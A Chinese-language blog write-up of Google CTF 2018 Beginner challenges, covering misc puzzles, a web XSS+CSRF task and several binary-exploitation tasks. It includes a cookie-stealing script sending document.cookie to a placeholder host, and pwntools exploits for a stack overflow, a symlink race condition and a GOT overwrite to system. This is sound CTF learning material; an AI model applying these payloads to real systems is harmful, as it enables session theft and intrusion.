风之栖息地

Google CTF Beginner Part1

字数统计: 2.4k阅读时长: 9 min
2018/07/18 Share

会陆陆续续的把GoogleCTF题目的相关复现整理出来,这里先放一部分。通过这次Beginner训练还是了解到了许多之前没接触过的,比如PWN题中的libc地址问题。

LETTER(MISC)

原理说出来都很简单,考察的是PDF中表层的覆盖其实还是可读的,所以我们选中需要的内容复制粘贴出来就可以了

复制粘贴大法

OCR is cool!(MISC)

一道题考察图片转文字之后,运用古典加密解决问题。学到新的知识OCR,PDF或者图片转文本的技术。

在线转换链接

之后在凯撒加密中破解,因为题目中包含着凯撒,提示也是很明显了。

MOAR(PWN)

考察了一个细节点,当我们处于man手册的状态下可以使用 !command 的方式来执行命令

我们就直接ls出home目录下有东西,然后cat出来即可。

Floppy(MISC)

给了一个图标文件,看了文本内容没什么东西,然后开始用binwalk分析一下

果然里面有东西,改成zip解压出来就ok了

FLOPPY2(MISC)

在上一道题目中留下了一个 www.com 文件,com后缀查了一下是MS-DOS的执行文件,所以现在的windows系统是无法执行的,DOSBOX启动!

直接运行就出现一个毫无意义的话,没有什么结果之后把二进制文件转成文本看看其中的内容,也没有什么收获……

经过其他人的Writeup之后得知要调试这个程序,在调试中发现,它会对其中的某个段取出字符异或然后重写回去,这样就好办了,一直跟踪调试,每次经过一些重写操作之后看看内存中的数据。最后得到flag。

Security By Obsecurity(MISC)

一道很猥琐的题目…… 通过file命令知道得到的文件是个zip压缩包,然后就开始了,一直解压解压解压。。。

最后拿到一个password的压缩包里面有个password.txt需要密码,看他题目中有提示john,暗示John The Ripper,这个暴力破解工具。

所以我们就暴力一下吧,我这里用的是ARCHPR

得到密码asdf,解压得到password.txt

拿到flag

Router-UI(Web)

打开网站是一个登录页面,输入账号和密码之后,发现会显示在页面上,根据题目的提示,XSS无疑。我们输入script验证漏洞,结果被chrome的auditor拦截。GG,这里img,svg等等标签失去作用,就算用src=javascript:alert(1) 这样的形式也会变成500……

无奈之前,看了看别人的writeup,发现它们是利用了页面中的//分隔符,把script拆成了两个部分,这样就绕过了auditor的检查。

那么可以引入js执行了,怎么偷管理员的cookie呢?必须要让管理员用这样的username和password登录才行,所以就是CSRF了。

给管理员一个可以自动提交的网站,提交这些内容,就会触发js拿到cookie。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<body>
<form method="POST" action="https://router-ui.web.ctfcompetition.com/login?next=https%3A%2F%2Frouter-ui.web.ctfcompetition.com%2F">
<input name="username" value="<script src=https:">
<input name="password" value="xxxxx/img/11.js></script>">
<button id="b" type="submit"></button>
</form>
<script>
document.getElementById("b").click();
</script>
</body>
</html>

在11.js中,放入偷cookie的语句。

1
2
var img = new Image();
img.src = "http://xxxxxx/?c=" + document.cookie;

这样在我们的服务器的日志中就可以看到带有cookie的请求了。但是由于比赛已经结束,估计机器人也没了,所以只能直接抄wp中的cookie进入后台。

添加cookie之后,重新登录就会进入控制页面了

最后在网页中找到flag

在XSS的构造中利用//来包含链接比较有意思,其他的就是中规中矩的CSRF+XSS的连锁。

Message of the day(PWN)

先按照国际惯例检查一下程序的安全保护。

开启了NX意味着无法在内存中无法执行代码,所以这里就没有办法写shellcode执行拿权限。分析之后发现输入点处有不安全的gets函数,所以我们是可以栈溢出的。

但是,没有办法写shellcode,那么还有什么办法可以拿到flag呢,在分析程序时看到在选项4中会有读取flag的操作,必须是管理员才能执行。

既然无法写shellcode,那么我们覆盖返回地址用ret2libc的思路去拿flag,应该是行的,我们知道读取flag的函数地址,只要把返回地址覆盖成这个地址即可。

src是一个0x100的栈,要栈溢出的话就要padding A*(0x100 + SP寄存器的大小)

发现是RSP64位寄存器,那么我们最后的padding就是 A*(0x100+8),地址我们也查到了是 00000000606063A5,所以最终代码如下:

1
2
3
4
5
from pwn import *
r = remote("motd.competition.com", 1337)
r.send("2\n")
r.send("A"*0x108 + "\xA5\x63\x60\x60\x00\x00\x00\x00")
r.interactive()

运行一下,拿到flag

Poetry(PWN)

有趣的一道题,开启了栈保护,所以栈溢出是不存在了。那么看看IDA中的内容。

其中的LD_BIND_NOW 在网上查出来的结果,当这个变量设置为1的时候,会让连接器在程序执行前把所有的函数地址都连接好。

然后会用readlink读取 /proc/self/exe 就可以获取当前程序的绝对路径,之后设置 LD_BIND_NOW为1,再次执行该程序。

这里有个trick,就是如果在程序执行readlink(/proc/self/exe )的时候改变源程序,那么readlink得到的内容就会变成 原路径+” (deleted)”

所以只要我们在程序运行时对它做改动,它的readlink就会是另外一个名称,然后利用新的名称执行我们想要的命令。

由于我们的flag在其他用户的目录中,我们无法读取,所以思路就是改动程序让它执行我们控制好的其他程序读取flag,我们是没有权限的,但是poetry有这个权限。

这里,我们先用ln链接 poetry,得到一个我们自己的poetry,随后ln -s 硬链接cat 命名为 poetry(deleted),这样我们在执行我们链接的poetry flag,然后删除我们的链接程序,就会触发cat 读取flag,整个过程都是poetry用户的权限,所以没问题。

1
2
3
4
5
6
7
from pwn import *
r = remote("poetry.ctfcompetition.com",1337)

r.send("ln -s /bin/cat '/home/user/poetry (deleted)'\n")
r.send("ln /home/poetry/poetry /home/user/poetry\n")
r.send("(/home/user/poetry /home/poetry/flag &);rm /home/user/poetry\n")
r.interactive()

最后这个脚本要多跑几次,因为这个是条件竞争的漏洞,最后通过这个flag了解到CVE-2009-1894,这个洞的触发条件就是在我们执行程序的时候,正好删除了原始链接程序,然后使得readlink返回我们伪造的程序路径从而执行恶意操作。

拿到flag CVE链接 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1894

Fridge ToDo List(PWN)

开启了PIE,无法在内存中确定具体的地址了。现在先看看程序有什么功能,1-6个选项。

  1. 打印列表
  2. 打印ToDo的任务
  3. 存储ToDo任务
  4. 删除ToDo任务
  5. 远程管理员
  6. 退出

首先第一个选项,就仅仅是打印,没什么输入,放弃。

第二个第三个第四个会有编号输入,第二个有读操作,第三个有写操作,所以重点就是这两个。

第五个查看源码就知道只是一个幌子。

第六个没啥好说的,退出操作。

看到第二个和第三个操作中都有同样的代码

这里只检查了是否大于最大数量,并没有限制是否小于0,。所以我们可以越界读和写。

通过IDA我们分析看到 todo从0x203140开始,间隔为0x30,那么往上面看看有什么可以读写的。

不错,在.got.plt部分,我们可以读取到这三个函数的地址,泄露了函数地址,意味着我们可以得到libc的信息。

之后该怎么利用呢?这里我们看到atoi是每次我们输入编号都会调用的函数,atoi而且还在open的附近,那么我们可以把atoi覆盖成system执行我们的任意命令,造成命令执行。所以剩下的就简单了,执行写操作,通过之前泄露的libc得到system的地址,覆盖atoi的地址。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

from struct import unpack,pack
r = remote("fridge-todo-list.ctfcompetition.com",1337)
r.send("whz\n")
r.readuntil(">")
r.send("2\n")
r.readuntil("read?")
r.send("-6\n")
res = r.readuntil("Hi whz,").splitlines()[0]
write_addr = res.split(':',1)[1][1:].ljust(8,chr(0))
write_addr = unpack("<Q",write_addr)[0]
base_addr = write_addr-0x910
system_addr = base_addr + 0x940
r.readuntil(">")
r.send("3\n")
r.readuntil("entry?")
r.send("-4\n")
r.send("A"*8+pack("<Q",system_addr)+"\n")
r.interactive()

之后执行命令,查看用户

得到用户名,随后nc连上去,直接用该用户登录

得到flag

这里要吐槽一点的是,这个泄露的libc一直没找到……,所以直接套用的其他人的exp。第一次感觉PWN也是蛮坑的。。。

CATALOG
  1. 1. LETTER(MISC)
  2. 2. OCR is cool!(MISC)
  3. 3. MOAR(PWN)
  4. 4. Floppy(MISC)
  5. 5. FLOPPY2(MISC)
  6. 6. Security By Obsecurity(MISC)
  7. 7. Router-UI(Web)
  8. 8. Message of the day(PWN)
  9. 9. Poetry(PWN)
  10. 10. Fridge ToDo List(PWN)